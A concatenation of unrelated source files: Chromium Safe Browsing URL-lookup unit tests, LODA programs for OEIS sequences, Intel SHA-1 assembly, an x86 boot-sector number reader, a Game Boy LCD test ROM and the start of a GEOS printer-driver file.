EXPECT_FALSE(IsInBackoffMode());
// Failure 2: No backoff.
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
// Failure 3: Entered backoff.
HandleLookupError();
EXPECT_TRUE(IsInBackoffMode());
// Lookup success resets the backoff counter.
HandleLookupSuccess();
EXPECT_FALSE(IsInBackoffMode());
}
TEST_F(RealTimeUrlLookupServiceTest, TestExponentialBackoff) {
///////////////////////////////
// Initial backoff: 300 seconds
///////////////////////////////
// Not in backoff at the beginning.
ASSERT_FALSE(IsInBackoffMode());
// Failure 1: No backoff.
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
// Failure 2: No backoff.
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
// Failure 3: Entered backoff.
HandleLookupError();
EXPECT_TRUE(IsInBackoffMode());
// Backoff not reset after 1 second.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1));
EXPECT_TRUE(IsInBackoffMode());
// Backoff not reset after 299 seconds.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(298));
EXPECT_TRUE(IsInBackoffMode());
// Backoff should have been reset after 300 seconds.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1));
EXPECT_FALSE(IsInBackoffMode());
/////////////////////////////////////
// Exponential backoff 1: 600 seconds
/////////////////////////////////////
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
HandleLookupError();
EXPECT_TRUE(IsInBackoffMode());
// Backoff not reset after 1 second.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1));
EXPECT_TRUE(IsInBackoffMode());
// Backoff not reset after 599 seconds.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(598));
EXPECT_TRUE(IsInBackoffMode());
// Backoff should have been reset after 600 seconds.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1));
EXPECT_FALSE(IsInBackoffMode());
//////////////////////////////////////
// Exponential backoff 2: 1200 seconds
//////////////////////////////////////
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
HandleLookupError();
EXPECT_TRUE(IsInBackoffMode());
// Backoff not reset after 1 second.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1));
EXPECT_TRUE(IsInBackoffMode());
// Backoff not reset after 1199 seconds.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1198));
EXPECT_TRUE(IsInBackoffMode());
// Backoff should have been reset after 1200 seconds.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1));
EXPECT_FALSE(IsInBackoffMode());
///////////////////////////////////////////////////
// Exponential backoff 3: 1800 seconds (30 minutes)
///////////////////////////////////////////////////
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
HandleLookupError();
EXPECT_TRUE(IsInBackoffMode());
// Backoff not reset after 1 second.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1));
EXPECT_TRUE(IsInBackoffMode());
// Backoff not reset after 1799 seconds.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1798));
EXPECT_TRUE(IsInBackoffMode());
// Backoff should have been reset after 1800 seconds.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1));
EXPECT_FALSE(IsInBackoffMode());
///////////////////////////////////////////////////
// Exponential backoff 4: 1800 seconds (30 minutes)
///////////////////////////////////////////////////
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
HandleLookupError();
EXPECT_TRUE(IsInBackoffMode());
// Backoff not reset after 1 second.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1));
EXPECT_TRUE(IsInBackoffMode());
// Backoff not reset after 1799 seconds.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1798));
EXPECT_TRUE(IsInBackoffMode());
// Backoff should have been reset after 1800 seconds.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1));
EXPECT_FALSE(IsInBackoffMode());
}
TEST_F(RealTimeUrlLookupServiceTest, TestExponentialBackoffWithResetOnSuccess) {
///////////////////////////////
// Initial backoff: 300 seconds
///////////////////////////////
// Not in backoff at the beginning.
ASSERT_FALSE(IsInBackoffMode());
// Failure 1: No backoff.
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
// Failure 2: No backoff.
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
// Failure 3: Entered backoff.
HandleLookupError();
EXPECT_TRUE(IsInBackoffMode());
// Backoff not reset after 1 second.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1));
EXPECT_TRUE(IsInBackoffMode());
// Backoff not reset after 299 seconds.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(298));
EXPECT_TRUE(IsInBackoffMode());
// Backoff should have been reset after 300 seconds.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1));
EXPECT_FALSE(IsInBackoffMode());
/////////////////////////////////////
// Exponential backoff 1: 600 seconds
/////////////////////////////////////
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
HandleLookupError();
EXPECT_TRUE(IsInBackoffMode());
// Backoff not reset after 1 second.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1));
EXPECT_TRUE(IsInBackoffMode());
// Backoff not reset after 599 seconds.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(598));
EXPECT_TRUE(IsInBackoffMode());
// Backoff should have been reset after 600 seconds.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1));
EXPECT_FALSE(IsInBackoffMode());
// The next lookup is a success. This should reset the backoff duration to
// |kMinBackOffResetDurationInSeconds|
HandleLookupSuccess();
// Failure 1: No backoff.
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
// Failure 2: No backoff.
HandleLookupError();
EXPECT_FALSE(IsInBackoffMode());
// Failure 3: Entered backoff.
HandleLookupError();
EXPECT_TRUE(IsInBackoffMode());
// Backoff not reset after 1 second.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1));
EXPECT_TRUE(IsInBackoffMode());
// Backoff not reset after 299 seconds.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(298));
EXPECT_TRUE(IsInBackoffMode());
// Backoff should have been reset after 300 seconds.
task_environment_->FastForwardBy(base::TimeDelta::FromSeconds(1));
EXPECT_FALSE(IsInBackoffMode());
}
TEST_F(RealTimeUrlLookupServiceTest, TestGetSBThreatTypeForRTThreatType) {
EXPECT_EQ(SB_THREAT_TYPE_URL_MALWARE,
RealTimeUrlLookupServiceBase::GetSBThreatTypeForRTThreatType(
RTLookupResponse::ThreatInfo::WEB_MALWARE));
EXPECT_EQ(SB_THREAT_TYPE_URL_PHISHING,
RealTimeUrlLookupServiceBase::GetSBThreatTypeForRTThreatType(
RTLookupResponse::ThreatInfo::SOCIAL_ENGINEERING));
EXPECT_EQ(SB_THREAT_TYPE_URL_UNWANTED,
RealTimeUrlLookupServiceBase::GetSBThreatTypeForRTThreatType(
RTLookupResponse::ThreatInfo::UNWANTED_SOFTWARE));
EXPECT_EQ(SB_THREAT_TYPE_BILLING,
RealTimeUrlLookupServiceBase::GetSBThreatTypeForRTThreatType(
RTLookupResponse::ThreatInfo::UNCLEAR_BILLING));
}
TEST_F(RealTimeUrlLookupServiceTest, TestCanCheckUrl) {
struct CanCheckUrlCases {
const char* url;
bool can_check;
} can_check_url_cases[] = {{"ftp://example.test/path", false},
{"http://localhost/path", false},
{"http://localhost.localdomain/path", false},
{"http://127.0.0.1/path", false},
{"http://127.0.0.1:2222/path", false},
{"http://192.168.1.1/path", false},
{"http://172.16.2.2/path", false},
{"http://10.1.1.1/path", false},
{"http://10.1.1.1.1/path", true},
{"http://example.test/path", true},
{"https://example.test/path", true}};
for (size_t i = 0; i < base::size(can_check_url_cases); i++) {
GURL url(can_check_url_cases[i].url);
bool expected_can_check = can_check_url_cases[i].can_check;
EXPECT_EQ(expected_can_check, CanCheckUrl(url));
}
}
TEST_F(RealTimeUrlLookupServiceTest, TestCacheNotInCacheManager) {
GURL url("https://a.example.test/path1/path2");
ASSERT_EQ(nullptr, GetCachedRealTimeUrlVerdict(url));
}
TEST_F(RealTimeUrlLookupServiceTest, TestCacheInCacheManager) {
GURL url("https://a.example.test/path1/path2");
MayBeCacheRealTimeUrlVerdict(url, RTLookupResponse::ThreatInfo::DANGEROUS,
RTLookupResponse::ThreatInfo::SOCIAL_ENGINEERING,
60, "a.example.test/path1/path2",
RTLookupResponse::ThreatInfo::COVERING_MATCH);
task_environment_->RunUntilIdle();
std::unique_ptr<RTLookupResponse> cache_response =
GetCachedRealTimeUrlVerdict(url);
ASSERT_NE(nullptr, cache_response);
EXPECT_EQ(RTLookupResponse::ThreatInfo::DANGEROUS,
cache_response->threat_info(0).verdict_type());
EXPECT_EQ(RTLookupResponse::ThreatInfo::SOCIAL_ENGINEERING,
cache_response->threat_info(0).threat_type());
}
TEST_F(RealTimeUrlLookupServiceTest, TestStartLookup_ResponseIsAlreadyCached) {
base::HistogramTester histograms;
EnableRealTimeUrlLookup(/* is_with_token_enabled */ false);
GURL url("http://example.test/");
MayBeCacheRealTimeUrlVerdict(url, RTLookupResponse::ThreatInfo::DANGEROUS,
RTLookupResponse::ThreatInfo::SOCIAL_ENGINEERING,
60, "example.test/",
RTLookupResponse::ThreatInfo::COVERING_MATCH);
task_environment_->RunUntilIdle();
base::MockCallback<RTLookupRequestCallback> request_callback;
base::MockCallback<RTLookupResponseCallback> response_callback;
rt_service()->StartLookup(url, request_callback.Get(),
response_callback.Get());
// |request_callback| should not be called.
EXPECT_CALL(request_callback, Run(_, _)).Times(0);
EXPECT_CALL(response_callback, Run(/* is_rt_lookup_successful */ true, _));
task_environment_->RunUntilIdle();
// This metric is not recorded because the response is obtained from the
// cache.
histograms.ExpectUniqueSample("SafeBrowsing.RT.ThreatInfoSize",
/* sample */ 0,
/* expected_count */ 0);
}
TEST_F(RealTimeUrlLookupServiceTest,
TestStartLookup_AttachTokenWhenWithTokenIsEnabled) {
base::HistogramTester histograms;
EnableRealTimeUrlLookup(/* is_with_token_enabled */ true);
SetupPrimaryAccount();
GURL url("http://example.test/");
SetUpRTLookupResponse(RTLookupResponse::ThreatInfo::DANGEROUS,
RTLookupResponse::ThreatInfo::SOCIAL_ENGINEERING, 60,
"example.test/",
RTLookupResponse::ThreatInfo::COVERING_MATCH);
base::MockCallback<RTLookupResponseCallback> response_callback;
rt_service()->StartLookup(
url,
base::BindOnce(
[](std::unique_ptr<RTLookupRequest> request, std::string token) {
EXPECT_FALSE(request->has_dm_token());
// Check token is attached.
EXPECT_EQ("access_token_string", token);
}),
response_callback.Get());
EXPECT_CALL(response_callback, Run(/* is_rt_lookup_successful */ true, _));
WaitForAccessTokenRequestIfNecessaryAndRespondWithToken(
"access_token_string");
task_environment_->RunUntilIdle();
// Check the response is cached.
std::unique_ptr<RTLookupResponse> cache_response =
GetCachedRealTimeUrlVerdict(url);
EXPECT_NE(nullptr, cache_response);
histograms.ExpectUniqueSample("SafeBrowsing.RT.ThreatInfoSize",
/* sample */ 1,
/* expected_count */ 1);
}
TEST_F(RealTimeUrlLookupServiceTest, TestStartLookup_NoTokenWhenNotSignedIn) {
EnableRealTimeUrlLookup(/* is_with_token_enabled */ true);
GURL url("http://example.test/");
SetUpRTLookupResponse(RTLookupResponse::ThreatInfo::DANGEROUS,
RTLookupResponse::ThreatInfo::SOCIAL_ENGINEERING, 60,
"example.test/",
RTLookupResponse::ThreatInfo::COVERING_MATCH);
base::MockCallback<RTLookupResponseCallback> response_callback;
rt_service()->StartLookup(
url,
base::BindOnce(
[](std::unique_ptr<RTLookupRequest> request, std::string token) {
// Check the token field is empty.
EXPECT_EQ("", token);
}),
response_callback.Get());
EXPECT_CALL(response_callback, Run(/* is_rt_lookup_successful */ true, _));
task_environment_->RunUntilIdle();
// Check the response is cached.
std::unique_ptr<RTLookupResponse> cache_response =
GetCachedRealTimeUrlVerdict(url);
EXPECT_NE(nullptr, cache_response);
}
TEST_F(RealTimeUrlLookupServiceTest,
TestStartLookup_NoTokenWhenWithTokenIsDisabled) {
EnableRealTimeUrlLookup(/* is_with_token_enabled */ false);
SetupPrimaryAccount();
GURL url("http://example.test/");
SetUpRTLookupResponse(RTLookupResponse::ThreatInfo::DANGEROUS,
RTLookupResponse::ThreatInfo::SOCIAL_ENGINEERING, 60,
"example.test/",
RTLookupResponse::ThreatInfo::COVERING_MATCH);
base::MockCallback<RTLookupResponseCallback> response_callback;
rt_service()->StartLookup(
url,
base::BindOnce(
[](std::unique_ptr<RTLookupRequest> request, std::string token) {
// Check the token field is empty.
EXPECT_EQ("", token);
}),
response_callback.Get());
EXPECT_CALL(response_callback, Run(/* is_rt_lookup_successful */ true, _));
task_environment_->RunUntilIdle();
// Check the response is cached.
std::unique_ptr<RTLookupResponse> cache_response =
GetCachedRealTimeUrlVerdict(url);
EXPECT_NE(nullptr, cache_response);
}
} // namespace safe_browsing
|
; A343998: a(n) = A343997(n)/2.
; Submitted by Jon Maiga
; 1,2,1,4,2,2,3,8,4,2,5,4,6,4,3,16,8,4,9,8,3,6,11,8,12,6,13,4,14,8,15,32,6,8,7,4,18,10,6,8,20,10,21,16,5,12,23,16,24,12,9,20,26,14,5,24,9,14,29,8,30,16,14,64,13,6,33,8,12,10,35,32,36,18,12,28,11,6,39,32,40,20,41,24,17,22
add $0,1
mov $3,$0
mul $3,3
mov $4,$0
lpb $3
add $0,$3
lpb $5
mov $2,$0
mod $2,$4
cmp $2,0
add $3,$5
mov $4,10
sub $5,$2
lpe
cmp $2,3
cmp $2,0
sub $3,$2
add $5,2
lpe
mov $0,$5
sub $0,2
div $0,4
add $0,1
|
###############################################################################
# Copyright 2018 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.text
.p2align 4, 0x90
CODE_DATA:
UPPER_DWORD_MASK:
.quad 0x0, 0xffffffff00000000
PSHUFFLE_BYTE_FLIP_MASK:
.byte 15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0
.p2align 4, 0x90
.globl _UpdateSHA1ni
_UpdateSHA1ni:
push %ebp
mov %esp, %ebp
push %esi
push %edi
sub $(48), %esp
lea (16)(%esp), %eax
and $(-16), %eax
movl (16)(%ebp), %edx
test %edx, %edx
jz .Lquitgas_1
movl (8)(%ebp), %edi
movl (12)(%ebp), %esi
call .L__0000gas_1
.L__0000gas_1:
pop %ecx
sub $(.L__0000gas_1-CODE_DATA), %ecx
movdqu (%edi), %xmm0
pinsrd $(3), (16)(%edi), %xmm1
pand ((UPPER_DWORD_MASK-CODE_DATA))(%ecx), %xmm1
pshufd $(27), %xmm0, %xmm0
movdqa ((PSHUFFLE_BYTE_FLIP_MASK-CODE_DATA))(%ecx), %xmm7
.Lsha1_block_loopgas_1:
movdqa %xmm0, (%eax)
movdqa %xmm1, (16)(%eax)
movdqu (%esi), %xmm3
pshufb %xmm7, %xmm3
paddd %xmm3, %xmm1
movdqa %xmm0, %xmm2
sha1rnds4 $(0), %xmm1, %xmm0
movdqu (16)(%esi), %xmm4
pshufb %xmm7, %xmm4
sha1nexte %xmm4, %xmm2
movdqa %xmm0, %xmm1
sha1rnds4 $(0), %xmm2, %xmm0
sha1msg1 %xmm4, %xmm3
movdqu (32)(%esi), %xmm5
pshufb %xmm7, %xmm5
sha1nexte %xmm5, %xmm1
movdqa %xmm0, %xmm2
sha1rnds4 $(0), %xmm1, %xmm0
sha1msg1 %xmm5, %xmm4
pxor %xmm5, %xmm3
movdqu (48)(%esi), %xmm6
pshufb %xmm7, %xmm6
sha1nexte %xmm6, %xmm2
movdqa %xmm0, %xmm1
sha1msg2 %xmm6, %xmm3
sha1rnds4 $(0), %xmm2, %xmm0
sha1msg1 %xmm6, %xmm5
pxor %xmm6, %xmm4
sha1nexte %xmm3, %xmm1
movdqa %xmm0, %xmm2
sha1msg2 %xmm3, %xmm4
sha1rnds4 $(0), %xmm1, %xmm0
sha1msg1 %xmm3, %xmm6
pxor %xmm3, %xmm5
sha1nexte %xmm4, %xmm2
movdqa %xmm0, %xmm1
sha1msg2 %xmm4, %xmm5
sha1rnds4 $(1), %xmm2, %xmm0
sha1msg1 %xmm4, %xmm3
pxor %xmm4, %xmm6
sha1nexte %xmm5, %xmm1
movdqa %xmm0, %xmm2
sha1msg2 %xmm5, %xmm6
sha1rnds4 $(1), %xmm1, %xmm0
sha1msg1 %xmm5, %xmm4
pxor %xmm5, %xmm3
sha1nexte %xmm6, %xmm2
movdqa %xmm0, %xmm1
sha1msg2 %xmm6, %xmm3
sha1rnds4 $(1), %xmm2, %xmm0
sha1msg1 %xmm6, %xmm5
pxor %xmm6, %xmm4
sha1nexte %xmm3, %xmm1
movdqa %xmm0, %xmm2
sha1msg2 %xmm3, %xmm4
sha1rnds4 $(1), %xmm1, %xmm0
sha1msg1 %xmm3, %xmm6
pxor %xmm3, %xmm5
sha1nexte %xmm4, %xmm2
movdqa %xmm0, %xmm1
sha1msg2 %xmm4, %xmm5
sha1rnds4 $(1), %xmm2, %xmm0
sha1msg1 %xmm4, %xmm3
pxor %xmm4, %xmm6
sha1nexte %xmm5, %xmm1
movdqa %xmm0, %xmm2
sha1msg2 %xmm5, %xmm6
sha1rnds4 $(2), %xmm1, %xmm0
sha1msg1 %xmm5, %xmm4
pxor %xmm5, %xmm3
sha1nexte %xmm6, %xmm2
movdqa %xmm0, %xmm1
sha1msg2 %xmm6, %xmm3
sha1rnds4 $(2), %xmm2, %xmm0
sha1msg1 %xmm6, %xmm5
pxor %xmm6, %xmm4
sha1nexte %xmm3, %xmm1
movdqa %xmm0, %xmm2
sha1msg2 %xmm3, %xmm4
sha1rnds4 $(2), %xmm1, %xmm0
sha1msg1 %xmm3, %xmm6
pxor %xmm3, %xmm5
sha1nexte %xmm4, %xmm2
movdqa %xmm0, %xmm1
sha1msg2 %xmm4, %xmm5
sha1rnds4 $(2), %xmm2, %xmm0
sha1msg1 %xmm4, %xmm3
pxor %xmm4, %xmm6
sha1nexte %xmm5, %xmm1
movdqa %xmm0, %xmm2
sha1msg2 %xmm5, %xmm6
sha1rnds4 $(2), %xmm1, %xmm0
sha1msg1 %xmm5, %xmm4
pxor %xmm5, %xmm3
sha1nexte %xmm6, %xmm2
movdqa %xmm0, %xmm1
sha1msg2 %xmm6, %xmm3
sha1rnds4 $(3), %xmm2, %xmm0
sha1msg1 %xmm6, %xmm5
pxor %xmm6, %xmm4
sha1nexte %xmm3, %xmm1
movdqa %xmm0, %xmm2
sha1msg2 %xmm3, %xmm4
sha1rnds4 $(3), %xmm1, %xmm0
sha1msg1 %xmm3, %xmm6
pxor %xmm3, %xmm5
sha1nexte %xmm4, %xmm2
movdqa %xmm0, %xmm1
sha1msg2 %xmm4, %xmm5
sha1rnds4 $(3), %xmm2, %xmm0
pxor %xmm4, %xmm6
sha1nexte %xmm5, %xmm1
movdqa %xmm0, %xmm2
sha1msg2 %xmm5, %xmm6
sha1rnds4 $(3), %xmm1, %xmm0
sha1nexte %xmm6, %xmm2
movdqa %xmm0, %xmm1
sha1rnds4 $(3), %xmm2, %xmm0
sha1nexte (16)(%eax), %xmm1
paddd (%eax), %xmm0
add $(64), %esi
sub $(64), %edx
jg .Lsha1_block_loopgas_1
pshufd $(27), %xmm0, %xmm0
movdqu %xmm0, (%edi)
pextrd $(3), %xmm1, (16)(%edi)
.Lquitgas_1:
add $(48), %esp
pop %edi
pop %esi
pop %ebp
ret
|
org 0x7c00
jmp 0x0000:start
; ♥ ♥ ♥ ♥ ♥
; Assembly is love
; @ovictoraurelio
; @jgfn1
; With contributions of Nathan Martins Freire.
;int number_programs
;int i
;int maior = 0
;int menor = 100000
;
;scanf(number_programs)
;for(i = 0; i < number_programs;i++)
;{
; scanf(inteiro[i])
; if(inteiro[i] > maior)
; maior = inteiro[i]
; if(inteiro[i] < menor)
; menor = inteiro[i]
;}
;printf(maior)
;printf(menor)
;
;Funçao de converter string pra inteiro
;int i;
;int s = 0;
;for(i=0; string[i] != '\0'; ++i)
;{
; s *= 10;
; s += string[i] - 48;
;}
mult: dw 1
dez: db 10
;Declaracao de variaveis
nProgramas: db 0
tmp: db 0
counter: db 0
maior: db 0
menor: db 0
start: ;inicio da main
; ax is a reg to geral use
; ds
xor ax,ax ;; ax=0
mov ds,ax
mov es, ax
mov ss, ax ; setup stack
mov sp, 0x7C00 ; stack grows downwards from 0x7C00
mov bx, nProgramas
call get_num
mov ax, word[nProgramas] ;coloca num em ax
call new_line
call print_int
call new_line
mov cx, word[nProgramas]
loopReadNumbers:
push cx
mov bx, tmp
call get_num
mov ax, word[tmp] ;coloca num em ax
call new_line
call print_int
call new_line
pop cx
loop loopReadNumbers
jmp end ;fim da main
get_num:
xor ax, ax
push ax ;manda ax para a pilha (vai servir em .transform)
mov di,bx ;manda o endereço em BX para DI
stosw ;joga em AX o endereço apontado por BX
mov si,bx ; manda si
.loop:
mov ah, 0 ;instrução para ler do teclado
int 16h ;interrupt de teclado
cmp al, 0x1b ;comparar com ESC
je end ;acabar programa
cmp al, 0x0d ;comparar com \n
je .transform ;fim da string
cmp al, '0' ;comparar al com '0'
jl .loop ;se for menor que '0' não é um número, ignore
cmp al, '9' ;comparar al com '9'
jg .loop ;se for maior que '9' não é um numero, ignore
xor ah, ah ;zerar ah
push ax ;mandar ah e al para a pilha pois al não pode ir sozinho, ah será ignorado
call print_char ;imprime o caracter recebido
stosb ;manda char em al para string e di++
jmp .loop ;próximo caractere
.transform: ;transformar string em numero
mov si,bx
lodsw ;lê num e coloca em ax
mov cx, ax ;coloca num (ax) em cx
pop ax ;pop na pilha (só se usa al)
cmp ax, 0 ;se for o \0
je .done ;acabou get_num
sub ax, 48 ;transform from char to int
mul word [mult] ;multiplica ax por mult (mul) e salva em dx:ax
add ax, cx ;soma o que já estava em num (cx) com o resultado de mult*ax
mov di, bx ;coloca num em di
stosw ;salva ax em num
;call print_char ;debug
mov ax, [mult] ;salva muti em ax
mul byte [dez] ;multiplica ax por 10
mov di, mult ;di = mult
stosw ;manda ax para mult
jmp .transform ;recomeça
.done:
ret
;To use this function, put the value you wanna print in the
;reg ax and be sure that there's no important data in the regs
;dx and cl.
print_int: ;mostra inteiro em al como string na tela
xor dx, dx
xor cl, cl
.sts: ;começa conversão (sts = send to stack)
div byte[dez] ;divide ax por cl(10) salva quociente em al e resto em ah
mov dl, ah ;manda ah pra dl
mov ah, 0 ;zera ah
push dx ;manda dx pra pilha
inc cl ;incrementa cl
cmp al, 0 ;compara o quociente(al) com 0
jne .sts ;se não for 0 manda próximo caractere para pilha
.print: ;caso contrário
pop ax ;pop na pilha pra ax
add al, 48 ;transforma numero em char
call print_char ;imprime char em al
dec cl ;decrementa cl
cmp cl, 0 ;compara cl com 0
jne .print ;se o contador não for 0, imprima o próximo char
ret ;caso contrario, retorne
;***
; ** Get a string
; mov di, STRING
; get_string
;
get_string:
.loop:
mov ah, 0 ;instruction to read of keyboard
int 16h ;interruption to read of keyboard
cmp al, 0x1B
je end ;if equal ESC jump to end
cmp al, 0x0D
je .done ;if equal ENTER done of string
call print_char ;show char on screen
stosb ;saves char on memory
;;counters...
inc ch ;counter that contain length of stringH
inc cl ;counter that contain length of stringL
jmp .loop ;return to loop, read antoher char
.done:
mov al, 0 ;adding 0 to knows end of string
stosb
ret
;***
; ** Print a string
; mov si, STRING
; print_string
print_string:
lodsb ; load al, si index and si++
cmp al,0 ; compare al with 0 (0, was set as end of string)
je endprintstring
mov ah,0xe ; instruction to show on screen
mov bh,13h
int 10h ; call video interrupt
jmp print_string
endprintstring: ret
;***
; ** Print new line
;***
new_line:
push ax
mov al, 10
call print_char
mov al, 13
call print_char
pop ax
ret
;***
; ** Print a char
;***/
print_char: ;imprime o caracter em al
push ax
mov ah, 0x0e ;instrução para imprimir na tela
int 10h ;interrup de tela
pop ax
ret
end:
jmp $
times 510 - ($ - $$) db 0
dw 0xaa55 |
; A191275: Numbers that are congruent to {0, 1, 3, 5, 7, 9, 11} mod 12.
; 0,1,3,5,7,9,11,12,13,15,17,19,21,23,24,25,27,29,31,33,35,36,37,39,41,43,45,47,48,49,51,53,55,57,59,60,61,63,65,67,69,71,72,73,75,77,79,81,83,84,85,87,89,91,93,95,96,97,99,101,103,105,107,108,109,111
mov $1,$0
lpb $0
add $1,$0
trn $0,6
sub $1,$0
sub $0,1
sub $1,1
lpe
|
.size 8000
.text@48
jp lstatint
.text@100
jp lbegin
.data@143
80
.text@150
lbegin:
ld a, ff
ldff(45), a
ld b, 96
call lwaitly_b
ld a, 80
ldff(68), a
ld a, ff
ld c, 69
ldff(c), a
ldff(c), a
ldff(c), a
ldff(c), a
ldff(c), a
ldff(c), a
xor a, a
ldff(c), a
ldff(c), a
ld a, 40
ldff(41), a
ld a, 02
ldff(ff), a
xor a, a
ldff(0f), a
ei
ld a, b
inc a
inc a
ldff(45), a
ld c, 0f
.text@1000
lstatint:
ld a, 50
ldff(41), a
ld a, 99
ldff(45), a
xor a, a
ldff(c), a
.text@1061
ld a, 40
ldff(41), a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
ldff a, (c)
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
ld bc, 7a00
ld hl, 8000
ld d, 00
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
pop af
ld b, a
srl a
srl a
srl a
srl a
ld(9800), a
ld a, b
and a, 0f
ld(9801), a
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
00 00 08 08 22 22 41 41
7f 7f 41 41 41 41 41 41
00 00 7e 7e 41 41 41 41
7e 7e 41 41 41 41 7e 7e
00 00 3e 3e 41 41 40 40
40 40 40 40 41 41 3e 3e
00 00 7e 7e 41 41 41 41
41 41 41 41 41 41 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 40 40 40 40
7f 7f 40 40 40 40 40 40
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GlobalPC 1999 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Printer Drivers
FILE: jobStartCanonBJ.asm
AUTHOR: Joon Song, 9 Jan 1999
ROUTINES:
Name Description
---- -----------
PrintStartJob Setup done at start of print job
REVISION HISTORY:
Name Date Description
---- ---- -----------
Joon 1/99 Initial revision from jobStartDotMatrix.asm
DESCRIPTION:
$Id$
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrintStartJob
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Do pre-job initialization
CALLED BY: GLOBAL
PASS: bp - segment of locked PState
dx:si - Job Parameters block
RETURN: carry - set if some communication problem
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
